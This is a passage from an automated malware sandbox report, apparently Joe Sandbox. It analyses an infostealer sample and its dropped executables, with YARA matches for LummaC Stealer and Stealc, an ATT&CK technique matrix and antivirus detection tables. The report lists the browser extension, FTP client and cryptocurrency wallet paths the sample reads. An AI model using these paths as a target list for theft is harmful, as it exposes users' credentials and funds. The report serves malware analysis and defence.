Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\FTPInfo
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\FTPGetter
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\FTPbox
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\FTPRush
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\ProgramData\SiteDesigner\3D-FTP

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Binance
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB

Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\KLIZUSIQEN
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\BJZFPPWAPT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\BNAGMGSPLO
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\EWZCVGNOWT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\GLTYDMDUST
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\GRXZDKKVDB
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\PIVFAGEAAV
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\SQSJKEBWDT
Source: C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	Directory queried: C:\Users\user\Documents\ZIPXYXWIOY

Source: Yara match	File source: 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6900, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 805c374e44.exe PID: 7860, type: MEMORYSTR

Remote Access Functionality

Yara detected Credential Flusher

Source: Yara match	File source: 0000000E.00000003.2210936334.000000000154F000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: e65c930c15.exe PID: 2832, type: MEMORYSTR

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 805c374e44.exe PID: 7860, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 31.0.num.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.DC91U752866P4RTKEWI6.exe.1f0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 40.0.num.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.num.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.2de90f6e61.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.LDYMRYSK15TF568PLM3O1A8XS.exe.fe0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 33.2.2de90f6e61.exe.f60000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1830747500.0000000000A0E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000000.2199906400.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000003.2284540451.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.1832002516.0000000000FE1000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000028.00000000.2440197352.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2481601869.00000000001F1000.00000040.00000001.01000000.0000001D.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2216291454.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.2347254585.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000002.2156064791.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000D.00000003.2114768262.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.1742502853.0000000004D80000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000021.00000002.2377672414.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2214966614.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: LDYMRYSK15TF568PLM3O1A8XS.exe PID: 5388, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2de90f6e61.exe PID: 8036, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: num.exe PID: 7500, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2de90f6e61.exe PID: 2852, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DC91U752866P4RTKEWI6.exe PID: 8088, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	21 Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	511 Disable or Modify Tools	2 OS Credential Dumping	11 File and Directory Discovery	Remote Services	1 Archive Collected Data	13 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	1 Windows Service	2 Bypass User Account Control	1 Deobfuscate/Decode Files or Information	LSASS Memory	235 System Information Discovery	Remote Desktop Protocol	41 Data from Local System	11 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 Scheduled Task/Job	1 Extra Window Memory Injection	2 Obfuscated Files or Information	Security Account Manager	1 Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	11 Registry Run Keys / Startup Folder	1 Windows Service	12 Software Packing	NTDS	861 Security Software Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	12 Process Injection	1 DLL Side-Loading	LSA Secrets	2 Process Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	1 Scheduled Task/Job	2 Bypass User Account Control	Cached Domain Credentials	371 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	11 Registry Run Keys / Startup Folder	1 Extra Window Memory Injection	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Masquerading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	371 Virtualization/Sandbox Evasion	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	12 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	37%	ReversingLabs	Win32.Infostealer.Tinba
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\1000779001\num.exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	100%	Avira	TR/AD.Stealc.bkskc
C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	100%	Avira	TR/Crypt.TPM.Gen
C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\R35D5PNQKQVRTA7D.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\LDYMRYSK15TF568PLM3O1A8XS.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000779001\num.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\num[1].exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe	100%	Joe Sandbox ML
